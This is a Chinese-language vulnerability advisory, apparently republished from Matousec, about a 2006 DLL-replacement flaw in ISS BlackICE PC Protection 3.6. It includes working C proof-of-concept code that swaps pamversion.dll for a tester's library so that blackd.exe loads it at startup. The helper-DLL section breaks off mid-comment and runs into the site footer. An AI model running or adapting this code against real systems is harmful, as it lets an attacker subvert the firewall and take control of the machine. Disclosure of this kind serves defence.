BlackICE DLL伪造运行时链接库漏洞

发布日期：2006-08-01
更新日期：2006-08-02

受影响系统：

ISS BlackICE PC Protection 3.6.cpj
ISS BlackICE PC Protection 3.6.cpiE

描述：

---

BlackICE PC Protection是一款强大的数据信息过滤防火墙系统。

BlackICE对自身组件的保护上存在漏洞，本地攻击者可能利用此漏洞通过BlackICE完全控制系统。

BlackICE没有保护一些自己的进程，也没有防范其他进程对其安装目录中pamversion.dll文件可能执行的操作，允许用伪造的函数库替换这个DLL。在启动系统后初始化BlackICE期间主BlackICE服务blackd.exe会动态的将这个库加载到自己的进程，因此就可能将伪造的库注入到BlackICE服务，获得对受保护系统的完全控制。

<*来源：David Matousek （david@matousec.com）

链接：http://www.matousec.com/info/advisories/BlackICE-DLL-faking-of-run-time-linked-libraries.php
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*

Testing program for DLL faking of run-time linked libraries (BTP00022P003BI)


Usage:
prog INSTDIR
INSTDIR - BlackICE installation directory

Description:
This program uses standard Windows API function to rename file "pamversion.dll" in BlackICE
installation directory. Then copies its own library instead of orginal "pamversion.dll".
This DLL is loaded into processes called "blackd.exe" during the system startup.

Test:
Running the testing program with a path to BlackICE installation directory as an argument
and restarting the system.

*/

#include <stdio.h>
#include <windows.h>
#include <ddk/ntapi.h>

void about(void)
{
printf("Testing program for DLL faking of run-time linked libraries (BTP00022P003BI)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2006 by Matousec - Transparent security\n");
printf("http://www.matousec.com/\n\n");
return;
}

void usage(void)
{
printf("Usage: INSTDIR\n"
" INSTDIR - BlackICE installation directory\n");
return;
}

void print_last_error()
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %d\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code %d.\n",code);
return;
}


int main(int argc,char **argv)
{
about();

if (argc!=2)
{
usage();
return 1;
}

char curdir[MAX_PATH],testdll[MAX_PATH],pamversion[MAX_PATH],pamversion_new[MAX_PATH];
GetCurrentDirectory(MAX_PATH,curdir);
int curdirlen=strlen(curdir)-1;
if (curdir[curdirlen]=='\\') curdir[curdirlen]='\0';


int err=1;
snprintf(pamversion,MAX_PATH,"%s\\pamversion.dll",argv[1]);
snprintf(pamversion_new,MAX_PATH,"%s\\pamversion.dll.bug",argv[1]);
snprintf(testdll,MAX_PATH,"%s\\testdll.dll",curdir);
if (MoveFileEx(pamversion,pamversion_new,MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH))
{
printf("File \"%s\" moved to \"%s\".\n",pamversion,pamversion_new);
if (CopyFile(testdll,pamversion,FALSE))
{
printf("File \"%s\" copied to \"%s\".\n",testdll,pamversion);
err=0;
} else fprintf(stderr,"Unable to move file \"%s\" to \"%s\".\n",testdll,pamversion);
} else fprintf(stderr,"Unable to move file \"%s\" to \"%s\".\n",pamversion,pamversion_new);

if (err)
{
print_last_error();
fprintf(stderr,"\n");
printf("\nTEST FAILED!\n");
return 1;
}

printf("\nTEST SUCCESSFUL!\n");
return 0;
}

----------------------------------------------------------------------------------

/*

Helper DLL for DLL faking of run-time linked libraries (BTP00022P003BI)

Description:
This DLL implements functions of original BlackICE library "pamversion.dll". During its initialization it creates
a new thread that can be used for executing malicious code. It logs its actions into a logfile.

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有